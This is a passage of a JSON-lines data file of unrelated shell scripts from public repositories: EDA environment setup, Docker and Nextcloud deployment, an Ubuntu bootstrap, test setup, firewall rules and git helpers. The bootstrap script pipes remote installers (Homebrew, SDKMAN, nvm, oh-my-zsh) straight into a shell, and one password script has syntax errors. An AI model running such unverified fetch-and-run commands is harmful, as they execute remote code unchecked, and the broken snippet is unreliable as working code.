path}\"\n{\necho -n \"\\\"$P\\\": \"\ncat api.github.com.json| jq \".paths.\\\"$P\\\"\"\n} | pbcopy && pbpaste"} {"text": "<reponame>sirajudheenam/elektra\n#!/bin/bash\n\nELEKTRA_PORT=$(wb elektra 'echo $APP_PORT' | tail -1 | tr -d '\\r')\n\nif [[ -n \"$ELEKTRA_PORT\" ]]; then\n echo \"Workspaces and Elektra found :-)\"\n wb elektra \"bundle exec rspec\"\n wb elektra \"yarn test\"\n exit\nelse\n echo \"Try to run local mode...\"\n bundle exec rspec\n yarn test\n exit\nfi"} {"text": "#!/bin/sh\n\nchunk=$((362880 / 4))\nfor i in 0 1 2 3; do\n >> output 2>&1 ./difficulty-job.sh \\\n $((i*chunk + 1)) \\\n $(((i + 1)*chunk)) \\\n difficulty.$i.db &\ndone\n\nwait\n\npython3.7 sqlite-merge.py \\\n difficulty.0.db difficulty.1.db difficulty.2.db difficulty.3.db"} {"text": "<filename>appengine/chromium_build_stats/gen-trace-viewer.sh\n#!/bin/bash\n# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n#\n# TODO(ukai): use html/template.\n# it hangs in Execute, even if we use different delims,\n# such as \"{{||\" and \"||}}\".\ndir=$(cd $(dirname $0); pwd)\noutdir=$dir/default/tmpl\nmkdir -p $outdir || true\ncd $dir/../third_party/trace-viewer/\n./trace2html --output=$outdir/trace-viewer.html $dir/default/tmpl/dummy.json"} {"text": "<reponame>mguthaus/edatools\n\nexport SWROOT=${SWROOT:-'/software'}\n\nexport LM_LICENSE_FILE=<EMAIL>\n\n# Calibre\nexport USE_CALIBRE_VCO=aoi\nexport CALIBRE_HOME=$SWROOT/mentor/calibre/aoi_cal_2017.3_29.23\nexport MGC_HOME=$CALIBRE_HOME\nexport MGC_TMPDIR=/tmp\nexport CALIBREPATH=$CALIBRE_HOME/bin\nexport PATH=$PATH:$CALIBREPATH\n\n# Hspice\nexport PATH=$PATH:$SWROOT/synopsys/hspice/bin\n\n# Virtuoso\nexport ICHOME=$SWROOT/cadence/IC617\nexport ICPATH=$ICHOME/tools/bin:$ICHOME/tools/dfII/bin\nexport PATH=$PATH:$ICPATH\nexport CDS_AUTO_64BIT=ALL\nexport W3264_NO_HOST_CHECK=1\nexport OA_UNSUPPORTED_PLAT=linux_rhel50_gcc48x\nexport CDS_Netlisting_Mode=Analog\n#export CDS_SITE=$CDK_DIR\n#export SYSTEM_CDS_LIB_DIR=$CDK_DIR/cdssetup\nexport SKIP_CDSLIB_MANAGER=\nif [ -z \"$LD_LIBRARY_PATH\" ]; then\n export LD_LIBRARY_PATH=$SWROOT/cadence/ic/share/oa/lib/linux_rhel50_gcc48x_64/opt:$SWROOT/cadence/ic/share/oa/lib/linux_rhel50_gcc48x_32/opt\nelse\n export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$SWROOT/cadence/ic/share/oa/lib/linux_rhel50_gcc48x_64/opt:$SWROOT/cadence/ic/share/oa/lib/linux_rhel50_gcc48x_32/opt\nfi\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib\n\n# ICC\nexport ICC_HOME=$SWROOT/synopsys/icc\nexport ICCPATH=$ICC_HOME/bin\nexport PATH=$PATH:$ICCPATH\n\n# DC\nexport SYN_HOME=$SWROOT/synopsys/syn\nexport SYNPATH=$SYN_HOME/bin\nexport PATH=$PATH:$SYNPATH\nexport SYNOPSYS=$SWROOT/synopsys\n\n# LC\nexport LC_HOME=$SWROOT/synopsys/lc\nexport LCPATH=$LC_HOME/bin\nexport PATH=$PATH:$LCPATH\n\n# Innovus\nexport INNOVUS_HOME=$SWROOT/cadence/innovus\nexport INNOVUS_PATH=$INNOVUS_HOME/bin\nexport PATH=$PATH:$INNOVUS_PATH\n\n# Cosmoscope\nexport CSCOPE_HOME=$SWROOT/synopsys/cscope64\nexport CSCOPE_PATH=$CSCOPE_HOME/ai_bin\nexport PATH=$PATH:$CSCOPE_PATH\n\n# Klayout\nexport KLAYOUT_PATH=/usr/local/klayout\nexport XDG_RUNTIME_DIR=/tmp/runtime-$USER\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$KLAYOUT_PATH\nexport PATH=$PATH:$KLAYOUT_PATH\n\n# xschem-gaw\nexport PATH=$PATH:/usr/local/bin\n\n# Xyce\n# Xyce\nexport XYCE_HOME=$SWROOT/Xyce/Parallel\nexport XYCE_PATH=$XYCE_HOME/bin\nexport PATH=$PATH:$XYCE_PATH\nexport XYCE_LIB=$XYCE_HOME/lib\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$XYCE_LIB\nexport XYCE_NO_TRACKING=\"anything at all\"\n\n# PDKs\nexport FREEPDK45=$SWROOT/PDKs/FreePDK45\nexport FREEPDK15=$SWROOT/PDKs/FreePDK15\n#export ASAP7=$HOME/ASAP7_PDKandLIB_v1p5/asap7PDK_r1p5\n# Set to the PDK you want to use\nexport PDK_DIR=$FREEPDK15\n\n# OpenRAM\nexport OPENRAM_HOME=$HOME/openram/compiler\nexport OPENRAM_TECH=$HOME/openram/technology:$HOME/data/sky130_fd_bd_sram/tools/openram/technology\n\n#Skywater\nexport SW_PDK_ROOT=$HOME/data/skywater-src-nda\nexport PDK_HOME=$SW_PDK_ROOT/s8/V2.0.1\nexport SW_IP_HOME=$SW_PDK_ROOT/s8_ip\nexport METAL_STACK=\"s8phirs_10r\"\nexport PDK_ROOT=$SWROOT/share/pdk\n#export NDA_PDK_ROOT=$HOME/data/skywater-src-nda/s8/V2.0.1\n\nexport PDK_MODEL_HOME=$PDK_HOME\nexport DEVICELIB_ROOT=$PDK_HOME/VirtuosoOA/libs\n\nexport TECHDIR=$PDK_HOME\nexport TECHDIR_DRC=$PDK_HOME/DRC/Calibre\nexport TECHDIR_LVS=$PDK_HOME/LVS/Calibre\n\nexport CDS_Netlisting_Mode=Analog\nexport CDS_AUTO_64BIT=ALL\nexport CDS_AHDLCMI_ENABLE=YES\n#export SOS_CDS_EXIT=YES\n#export LBS_BASE_SYSTEM=LBS_SGE\nexport CDS_QUIET=0"} {"text": "<gh_stars>0\n#!/bin/bash\n\n./common/packages.sh\n\n./host/docker/setup.sh\n\n./host/certbot/setup.sh \"hottestgirlinthe.club\"\n./host/certbot/setup.sh \"janalexandrakatz.com\"\n\n./host/apache2/setup.sh \"hottestgirlinthe.club\"\n./host/apache2/setup.sh \"janalexandrakatz.com\"\n\n./nextcloud/setup.sh \"22\" \"/mnt/data\"\n./gitea/setup.sh \"1.15\" \"/mnt/data\"\n\n# Set correct hostname in Nextcloud\nsudo docker exec --user www-data nextcloud php occ config:system:set overwritehost --value=\"hottestgirlinthe.club:443\"\nsudo docker exec --user www-data nextcloud php occ config:system:set overwriteprotocol --value=\"https\"\nsudo docker restart nextcloud"} {"text": "<reponame>GeoffWilliams/system_users\n@test 'root gid is set to 2 for test' {\n [ $(id -g root) -eq 2 ]\n}"} {"text": "<reponame>sauljabin/linux-commands\n#!/bin/sh\n\nset -e\n\necho \">> Adding PPA\"\nsudo add-apt-repository -y ppa:papirus/papirus\n\necho \">> Update\"\nsudo apt update\nsudo apt upgrade -y\n\necho \">> Install utilities\"\nsudo apt install -y \\\n zsh vim git curl wget httpie jq tmux build-essential apt-transport-https ca-certificates gnupg lsb-release dconf-cli uuid-runtime software-properties-common \\\n pip python3 \\\n gnome-tweaks gnome-shell-extensions papirus-icon-theme plank\\\n\necho \">> Config git\"\ngit config --global user.name \"<NAME>\"\ngit config --global user.email \"<EMAIL>\"\n\necho \">> Install pip apps\"\npip install --upgrade pip\npip install poetry licensegh gitignoregh\n\necho \">> Install package manager\"\necho | bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"\ncurl -s \"https://get.sdkman.io\" | bash\ncurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash\n\necho \">> Install docker\"\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --yes --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\necho \"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\nsudo apt update\nsudo apt install -y docker-ce docker-ce-cli containerd.io\nsudo usermod -aG docker $USER\n\necho \">> Install enpass\"\necho \"deb https://apt.enpass.io/ stable main\" | sudo tee /etc/apt/sources.list.d/enpass.list > /dev/null\nwget -O - https://apt.enpass.io/keys/enpass-linux.key | sudo tee /etc/apt/trusted.gpg.d/enpass.asc\nsudo apt update\nsudo apt install -y enpass\n\necho \">> Install vscode\"\nwget -q https://packages.microsoft.com/keys/microsoft.asc -O- | sudo apt-key add -\nsudo add-apt-repository \"deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main\"\nsudo apt update\nsudo apt install -y code\n\necho \">> Install chrome\"\nwget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -\nsudo sh -c 'echo \"deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main\" >> /etc/apt/sources.list.d/google-chrome.list'\nsudo apt update\nsudo apt install -y google-chrome-stable\n\necho \">> Install kubernetes\"\nsudo apt install -y virtualbox minikube\neval \"$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)\"\nbrew install kubectl kubectx\n\necho \">> Install spotify\"\nsudo snap install spotify\n\necho \">> Install oh-my-zsh\"\nsh -c \"$(wget https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)\"\n\necho \">> Install fonts\"\ngit clone --depth 1 https://github.com/romkatv/nerd-fonts.git ~/.nerd-fonts\ncd ~/.nerd-fonts\n./install.sh\ncd -\n\necho \">> Install gnome theme\"\ngit clone https://github.com/Jannomag/Yaru-Colors ~/.yaru-colors\ncd ~/.yaru-colors\n./install.sh\ncd -\n\necho \">> Install zsh plugins\"\ngit clone https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/themes/powerlevel10k\ngit clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting\ngit clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions\n\necho \">> Install zsh theme\"\ngit clone https://github.com/Mayccoll/Gogh.git ~/.gogh\ncd ~/.gogh/themes\n./afterglow.sh\n\necho \">> Restore files\"\nwget -O ~/.zshrc https://raw.githubusercontent.com/sauljabin/linux-commands/main/ubuntu/.zshrc \nwget -O ~/.tmux.conf https://raw.githubusercontent.com/sauljabin/linux-commands/main/ubuntu/.tmux.conf"} {"text": "echo 4 | \\time -o log.tex -a -f \"%E real\" ./optmap_bt.py\necho 6 | \\time -o log.tex -a -f \"%E real\" ./optmap_bt.py\necho 8 | \\time -o log.tex -a -f \"%E real\" ./optmap_bt.py\necho 10 | \\time -o log.tex -a -f \"%E real\" ./optmap_bt.py\necho 12 | \\time -o log.tex -a -f \"%E real\" ./optmap_bt.py\necho 14 | \\time -o log.tex -a -f \"%E real\" ./optmap_bt.py\necho 16 | \\time -o log.tex -a -f \"%E real\" ./optmap_bt.py"} {"text": "#!/bin/bash\n\n#/**\n# * vlc\n# * multimedia player\n# *\n# * @category multimedia\n# */\n\nBASEDIR=$(dirname \"${0}\")\n. ${BASEDIR}/../tools/colors.sh\n\necho_info 'sudo apt-get install --assume-yes vlc'\nsudo apt-get install --assume-yes vlc\n\n# create desktop shortcut\ncat > ~/Desktop/vlc.desktop<<EOF\n[Desktop Entry]\nVersion=1.0\nName=VLC media player\nGenericName=Media player\nComment=Read, capture, broadcast your multimedia streams\nExec=/usr/bin/vlc --started-from-file %U\nIcon=vlc\nTerminal=false\nType=Application\nCategories=AudioVideo;Player;Recorder;\nKeywords=Player;Capture;DVD;Audio;Video;Server;Broadcast;\nEOF"} {"text": "<filename>develop.sh\n#!/bin/bash \ngit clone https://github.com/CivicKnowledge/rowpipe.git && (cd rowpipe && python setup.py develop)\ngit clone https://github.com/CivicKnowledge/tableintuit.git && (cd tableintuit && python setup.py develop)\ngit clone https://github.com/CivicKnowledge/rowgenerators.git && (cd rowgenerators && python setup.py develop)\ngit clone https://github.com/CivicKnowledge/pandas-reporter.git && (cd pandas-reporter && python setup.py develop)\ngit clone https://github.com/CivicKnowledge/metatab-py.git; (cd metatab-py && python setup.py develop)"} {"text": "#!/bin/bash\n\ntime=$(date '+%H:%M:%S')\n\necho '<span foreground=\"#FFFFFF\"> '$time' </span>'"} {"text": "#!/bin/sh\n\nrm -rf img/\necho \"`date +'%Y/%m/%d %T'` - Start\"\npython train_toy.py\necho \"`date +'%Y/%m/%d %T'` - End\""} {"text": "<filename>scripts/start-spark-app-stazione.sh\n#!/usr/bin/env bash\n\nsudo docker cp ../spark-app/spark-app-stazione.py spark-master:/spark-app-stazione.py\nsudo docker exec -it spark-master pip install influxdb\nsudo docker exec -it spark-master /spark/bin/spark-submit --packages org.apache.spark:spark-streaming-kafka-0-8_2.11:2.2.0 spark-app-stazione.py"} {"text": "#!/bin/bash\n\n# Allows for not having to copy the models to vilio/data\nloadfin=${1:-./data/LASTtrain.pth}\nloadfin2=${2:-./data/LASTtraindev.pth}\n\n# 50 Feats, Seed 49\ncp ./data/hm_vgattr5050.tsv ./data/HM_img.tsv\n\npython hm.py --seed 49 --model D \\\n--test dev_seen --lr 1e-5 --batchSize 8 --tr bert-base-uncased --epochs 5 --tsv \\\n--num_features 50 --loadfin $loadfin --exp D50\n\npython hm.py --seed 49 --model D \\\n--test test_seen,test_unseen --lr 1e-5 --batchSize 8 --tr bert-base-uncased --epochs 5 --tsv \\\n--num_features 50 --loadfin $loadfin2 --exp D50"} {"text": "#!/usr/bin/env bash\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# setup client keystore\n./docker/tls/generate-client-certs-and-keystores.sh\nrm -rf docker/client_tls\ncp -r client_tls docker/client_tls\n\n# Make directories if they dont exist\nmkdir -p $SHARED_DIR/hadoop_xml\nmkdir -p $SHARED_DIR/hadoop-dependencies\nmkdir -p $SHARED_DIR/logs\nmkdir -p $SHARED_DIR/tasklogs\nmkdir -p $SHARED_DIR/docker/extensions\nmkdir -p $SHARED_DIR/docker/credentials\n\n# install druid jars\nrm -rf $SHARED_DIR/docker\ncp -R docker $SHARED_DIR/docker\nmvn -B dependency:copy-dependencies -DoutputDirectory=$SHARED_DIR/docker/lib\n\n# move extensions into a seperate extension folder\n# For druid-s3-extensions\nmkdir -p $SHARED_DIR/docker/extensions/druid-s3-extensions\nmv $SHARED_DIR/docker/lib/druid-s3-extensions-* $SHARED_DIR/docker/extensions/druid-s3-extensions\n# For druid-azure-extensions\nmkdir -p $SHARED_DIR/docker/extensions/druid-azure-extensions\nmv $SHARED_DIR/docker/lib/druid-azure-extensions-* $SHARED_DIR/docker/extensions/druid-azure-extensions\n# For druid-google-extensions\nmkdir -p $SHARED_DIR/docker/extensions/druid-google-extensions\nmv $SHARED_DIR/docker/lib/druid-google-extensions-* $SHARED_DIR/docker/extensions/druid-google-extensions\n# For druid-hdfs-storage\nmkdir -p $SHARED_DIR/docker/extensions/druid-hdfs-storage\nmv $SHARED_DIR/docker/lib/druid-hdfs-storage-* $SHARED_DIR/docker/extensions/druid-hdfs-storage\n# For druid-kinesis-indexing-service\nmkdir -p $SHARED_DIR/docker/extensions/druid-kinesis-indexing-service\nmv $SHARED_DIR/docker/lib/druid-kinesis-indexing-service-* $SHARED_DIR/docker/extensions/druid-kinesis-indexing-service\n# For druid-parquet-extensions\nmkdir -p $SHARED_DIR/docker/extensions/druid-parquet-extensions\nmv $SHARED_DIR/docker/lib/druid-parquet-extensions-* $SHARED_DIR/docker/extensions/druid-parquet-extensions\n# For druid-orc-extensions\nmkdir -p $SHARED_DIR/docker/extensions/druid-orc-extensions\nmv $SHARED_DIR/docker/lib/druid-orc-extensions-* $SHARED_DIR/docker/extensions/druid-orc-extensions\n\n# Pull Hadoop dependency if needed\nif [ -n \"$DRUID_INTEGRATION_TEST_START_HADOOP_DOCKER\" ] && [ \"$DRUID_INTEGRATION_TEST_START_HADOOP_DOCKER\" == true ]\nthen\n java -cp \"$SHARED_DIR/docker/lib/*\" -Ddruid.extensions.hadoopDependenciesDir=\"$SHARED_DIR/hadoop-dependencies\" org.apache.druid.cli.Main tools pull-deps -h org.apache.hadoop:hadoop-client:2.8.5 -h org.apache.hadoop:hadoop-aws:2.8.5 -h org.apache.hadoop:hadoop-azure:2.8.5\n curl https://storage.googleapis.com/hadoop-lib/gcs/gcs-connector-hadoop2-latest.jar --output $SHARED_DIR/docker/lib/gcs-connector-hadoop2-latest.jar\nfi\n\n# install logging config\ncp src/main/resources/log4j2.xml $SHARED_DIR/docker/lib/log4j2.xml\n\n# copy the integration test jar, it provides test-only extension implementations\ncp target/druid-integration-tests*.jar $SHARED_DIR/docker/lib\n\n# one of the integration tests needs the wikiticker sample data\nmkdir -p $SHARED_DIR/wikiticker-it\ncp ../examples/quickstart/tutorial/wikiticker-2015-09-12-sampled.json.gz $SHARED_DIR/wikiticker-it/wikiticker-2015-09-12-sampled.json.gz\ncp docker/wiki-simple-lookup.json $SHARED_DIR/wikiticker-it/wiki-simple-lookup.json\n\n# copy other files if needed\nif [ -n \"$DRUID_INTEGRATION_TEST_RESOURCE_FILE_DIR_PATH\" ]\nthen\n cp -a $DRUID_INTEGRATION_TEST_RESOURCE_FILE_DIR_PATH/. $SHARED_DIR/docker/credentials/\nfi"} {"text": "#!/bin/bash\n\necho \"Top 20 tiles\"\ntime curl $COSMOSA_HOST:$COSMOSA_PROXY/index/jsonhttp/query -d'TopN(frame=tiles, n=20)'\n\necho \"Intersect 3\"\ntime curl $COSMOSA_HOST:$COSMOSA_PROXY/index/jsonhttp/query -d'Intersect(Bitmap(frame=tiles, rowID=bx), Bitmap(frame=tiles, rowID=lh), Bitmap(frame=tiles, rowID=e8))'\n\n\nfor tile in p1 bx jt wy e8; do\n echo -n $tile \" \"\n time curl $COSMOSA_HOST:$COSMOSA_PROXY/index/jsonhttp/query -d\"Count(Bitmap(frame=tiles, rowID=$tile))\"\ndone"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n\nconcourse_fqdn=$(hostname -i)\n\ncurl --noproxy ${concourse_fqdn} -s -f -o /root/fly \"http://${concourse_fqdn}:8080/api/v1/cli?arch=amd64&platform=linux\"\nchmod u+x /root/fly\n\n/root/fly --target=demo login \\\n --concourse-url=\"http://${concourse_fqdn}:8080\" \\\n --username=test \\\n --password=<PASSWORD> \\\n --team-name=main\n\nmv /root/fly /usr/local/bin/"} {"text": "#!/usr/bin/env bash\n# ==============================================================================\nfunction usage() { cat <<- DOCUMENT\n\n Usage: $PROGNAME [-h] [-t] [-c link.conf]\n\n AUTHOR: <NAME>\n CREATED: 01/09/2014\n REVISION: 1.4\n\n DESCRIPTION:\n Program for automating users preferred login shell enviornment.\n Symbolically links the startup files located within dotfiles\n repository and links them to to users \\$HOME variable prepended\n with a dot. If the startup file already and a collision occurs,\n user will be prompted for deletion.\n\n HOME DIRECTORY: $HOME\n\n REQUIREMENTS:\n - .conf (Config File)\n\n OPTIONS:\n -h [help]\n Outputs usage directions\n -t [test]\n A dry run, does not actually make changes to the filesystem\n -v [verbose]\n Prints out all test output to screen\n -c [config]\n Reference external configuration file as metadata\n -f [force]\n Always replace files: Warning this is dangerous\n\n EXAMPLES:\n Run unit tests and prints out all assigned values and variables\n ./${PROGNAME} -t\n\n Run program:\n ./$PROGNAME\n\n Use your own config file:\n ./$PROGNAME -c config_file\n\n\tDOCUMENT\n}\n# ==============================================================================\n# Global Variables\n# ==============================================================================\nreadonly PROGNAME=$(basename \"${BASH_SOURCE}\")\nreadonly PROGDIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\n\n# ==============================================================================\n# Tests\n# ==============================================================================\nfunction test_variables() {\n declare -a variables=(${*})\n for var in \"${variables[@]}\"; do\n printf \"%30s = %s\\n\" \\\n \"$(tput setaf 9)\\$${var}$(tput sgr0)\" \\\n \"$(tput setaf 3)${!var}$(tput sgr0)\"\n done\n}\n\nfunction test_source() {\n if [ -f \"$LINK_SOURCE\" ]; then\n printf \"$(tput setaf 4)\\\n \\$LINK_SOURCE\\\n $(tput sgr0)\\\n file exists at %s\\n\" \\\n \"${LINK_SOURCE}\"\n else\n printf \"$(tput setaf 1)\\\n \\$LINK_SOURCE\\\n $(tput sgr0)\\\n file does not exists at %s\\n\" \\\n \"${LINK_SOURCE}\"\n fi\n}\n\nfunction test_dest() {\n if [ -f \"$LINK_DEST\" ]; then\n printf \"$(tput setaf 4)\\\n \\$LINK_DEST\\\n $(tput sgr0)\\\n file exists at %s\\n\\n\" \\\n \"${LINK_DEST}\"\n else\n printf \"$(tput setaf 1)\\\n \\$LINK_DEST\\\n $(tput sgr0)\\\n file does not exists at %s\\n\\n\" \\\n \"${LINK_DEST}\"\n fi\n}\n\nfunction prompt_delete() {\n\n if ((FORCE==1)); then\n rm -rf \"${LINK_DEST}\" 2>/dev/null\n link_files\n return\n fi\n\n read -p \"File $LINK_DEST already exists, would you like to delete it? \\\n [Yy]/[Nn]: \" RESPONSE\n\n if [[ $RESPONSE =~ [Yy] ]]; then\n rm \"${LINK_DEST}\" && link_files\n else\n return\n fi\n}\n\n# ===========================================================================\n# Link Files\n# ===========================================================================\nfunction link_files() {\n ln -s \"${LINK_SOURCE}\" \"${LINK_DEST}\"\n}\n\n# ===============================================================================\n# Parameters\n# ===============================================================================\ndeclare -i TEST=0 VERBOSE=0 FORCE=0\ndeclare -a FILELIST\nwhile getopts \"c:htvf\" OPTION; do\n case ${OPTION} in\n h) usage\n exit 0\n ;;\n t) TEST=1\n ;;\n c) CONFIG_FILE=\"${OPTARG}\"\n ;;\n v) VERBOSE=1\n ;;\n f) FORCE=1\n ;;\n \\?) echo \"Invalid option: -${OPTARG}\" >&2\n exit 1\n ;;\n esac\ndone\n shift $(($OPTIND-1))\n\n# ===============================================================================\n# Main\n# ===============================================================================\nfunction main() {\n # Grab Config File\n FILELIST=( $(cat \"${CONFIG_FILE:-\"${PROGDIR}/link.conf\"}\") )\n\n if ((TEST==1 || VERBOSE==1)); then\n test_variables TEST PROGNAME PROGDIR FILELIST CONFIG_FILE FORCE\n printf \"\\n\"\n fi\n\n # Parent directory name is stripped\n for FILE in \"${FILELIST[@]}\"; do\n {\n local LINK_SOURCE=\"${PROGDIR}/${FILE}\"\n local LINK_DEST=\"${HOME}/.${FILE##*/}\"\n\n test -d \"${LINK_SOURCE}\" && LINK_SOURCE=\"${LINK_SOURCE}\"'/'\n\n if [ -e ${LINK_SOURCE} ]; then\n {\n # print out source and destination only\n if ((TEST==1)); then\n test_source && test_dest\n continue\n fi\n\n if ((VERBOSE==1)); then\n test_source && test_dest\n fi\n\n # Magic\n link_files >/dev/null 2>&1 || prompt_delete\n }\n fi\n }\n done\n}\n\nif [ \"$0\" = \"${BASH_SOURCE}\" ]; then\n main\nfi"} {"text": "<filename>scripts/misc/random.sh\n#!/bin/bash\nn = \"$1\"\n[[ -n \"$n\" ]] || n = 12\nif[[ $n -lt 8 ]]; then\n\techo \"Please provide new password <$n>\"\n\texit 1\nfi\np=$(dd if=/dev/urandom bs=512 count=1 2>/dev/null | tr -cd 'a-zA-Z0-9' | cut -c 1-$n)\necho \"${p}\""} {"text": "#!/bin/sh\n##############################################################################\n# If not stated otherwise in this file or this component's LICENSE file the\n# following copyright and licenses apply:\n#\n# Copyright 2020 RDK Management\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##############################################################################\n\n\n. /etc/include.properties\n. /etc/device.properties\n\nPROCESS_NAME=$1\nPORTS=$2 # optional single port number, ALL for all process ports (default is ALL)\nPROTO=$3 # optional protocol type UDP, TCP, BOTH (default is BOTH)\nINTERFACE=$4 # optional interface variable defined in device.properties (default is MOCA_INTERFACE)\nMAX_RETRY=10\n\nif [ -z $PORTS ]; then\n PORTS=ALL\nfi\n\nif [ -z $PROTO ]; then\n PROTO=BOTH\nfi\n\nif [ -z $INTERFACE ]; then\n INTERFACE=MOCA_INTERFACE\nfi\n\ngetPortUsedByProcess() {\n processName=$1\n processPid=`pidof $processName`\n # Port listing should be unique and no restriction on the sount\n portUsedByProcess=`netstat -lntup 2>&1 | grep -v 'netstat' | grep \"$processPid/\" | tr -s ' ' | cut -d ' ' -f4 | cut -d ':' -f2 | uniq`\n echo \"$portUsedByProcess\"\n}\n\nif [ ! \"$PROCESS_NAME\" ]; then\n echo \"Process name is empty. Exiting !!!!\"\nfi\n\nif [ $PORTS == \"ALL\" ]; then\n loop=1\n retryCount=0\n while [ $loop -eq 1 ]\n do\n PORTS=$(getPortUsedByProcess $PROCESS_NAME)\n if [ ! \"$PORTS\" ]; then\n echo \"Port used by $PROCESS_NAME is empty. Waiting for $PROCESS_NAME to be up !!! \"\n sleep 10\n retryCount=$((retryCount + 1))\n if [ $retryCount -ge $MAX_RETRY ] ; then\n echo \"Waiting for port identification used by $PROCESS_NAME failed. Giving up...\"\n loop=0\n exit 0\n fi\n else\n loop=0;\n fi\n done\nfi\n\n# Enable firewall rule to accept traffic on port over MOCA interface \nif [ ! -f /etc/os-release ];then\n IPV6_BIN=\"/sbin/ip6tables -w \"\n IPV4_BIN=\"/sbin/iptables -w \"\nelse\n IPV6_BIN=\"/usr/sbin/ip6tables -w \"\n IPV4_BIN=\"/usr/sbin/iptables -w \"\nfi\n\necho \"Ports used by $PROCESS_NAME on interface $INTERFACE are : \"\necho \"$PORTS\"\n\nfor i in $PORTS ; do\n\n # Avoid errors due to adding firewall rule on string observed during race around condition\n if [ \"${i//[0-9]}\" != \"\" ]; then\n echo \"$i is not a valid port. \"\n continue\n fi\n\n if [[ $PROTO == \"BOTH\" || $PROTO == \"TCP\" ]]; then\n $IPV4_BIN -A INPUT -i $(eval echo \"\\$${INTERFACE}\") -p tcp --dport $i -j ACCEPT\n $IPV6_BIN -A INPUT -i $(eval echo \"\\$${INTERFACE}\") -p tcp --dport $i -j ACCEPT\n fi\n\n if [[ $PROTO == \"BOTH\" || $PROTO == \"UDP\" ]]; then\n $IPV4_BIN -A INPUT -i $(eval echo \"\\$${INTERFACE}\") -p udp --dport $i -j ACCEPT\n $IPV6_BIN -A INPUT -i $(eval echo \"\\$${INTERFACE}\") -p udp --dport $i -j ACCEPT\n fi\ndone"} {"text": "<filename>scripts/backend/detach_vol.sh\n#!/bin/bash\n\ncd `dirname $0`\nsource ../cloudrc\n\n[ $# -lt 3 ] && echo \"$0 <vm_ID> <volume> <device>\" && exit -1\n\nvm_ID=$1\nvol_name=$2\ndevice=$3\nvol_file=$volume_dir/$vol_name.disk\n\nvirsh detach-disk $vm_ID $device\n[ $? -eq 0 ] && echo \"|:-COMMAND-:| /opt/cloudland/scripts/frontback/`basename $0` '$vm_ID' '$vol_name' '$device'\""} {"text": "#!/bin/sh\n\nNAME_OF_IMAGE=disk_image.img\nSECTOR_SIZE=512\nSIZE_IN_BYTES=67108864\nSIZE_IN_SECTORS=$((SIZE_IN_BYTES/SECTOR_SIZE));\n\necho $SIZE_IN_BYTES\necho $SIZE_IN_SECTORS\n\ndd if=/dev/zero of=$NAME_OF_IMAGE bs=$SECTOR_SIZE count=$SIZE_IN_SECTORS\nsfdisk $NAME_OF_IMAGE < partition_layout.sfdisk\n\n/usr/local/sbin/mkfs.fat --offset=2048 -F32 $NAME_OF_IMAGE\n\n# TODO(patrik): Change the 1048576 (2048 * 512) to not be hardcoded\nmcopy -i disk_image.img@@1048576 fs/* ::/\nmdir -i disk_image.img@@1048576"} {"text": "#!/usr/bin/env bash\nNODE_JS_VERSION=13.6\nnvm install $NODE_JS_VERSION --latest-npm\nnpm install"} {"text": "<reponame>Kaixi26/org.alloytools.alloy\n#!/usr/bin/env sh\n\nCLASS_REF=\"edu.mit.csail.sdg.alloy4whole.RepairCLI\"\n\nif test -f \"slf4j-nop-1.7.28.jar\"; then\n\tLOGGER=\"slf4j-nop-1.7.28.jar\"\nfi\n\nPROGRAM_JAR=$1\nshift\n\njava -cp \"$PROGRAM_JAR:$LOGGER\" $CLASS_REF $@"} {"text": "<reponame>limpygnome/rpi-misc<filename>deploy/deploy_apps_config.sh<gh_stars>0\n#!/bin/bash\n./deploy.sh \"config,apps,reboot\""} {"text": "#!/usr/bin/env bash\nusage()\n{\n echo \"Usage:\"\n echo \" \"`basename $0`\" 'commit message'\"\n echo \"Example:\"\n echo \" \"`basename $0`\" FML\"\n exit 1\n}\n[[ \"$#\" -ne 1 ]] && usage;\nMSG=$1\n\ngit add .\ngit commit -m \"${MSG}\"\ngit push\necho \"Done.\""} {"text": 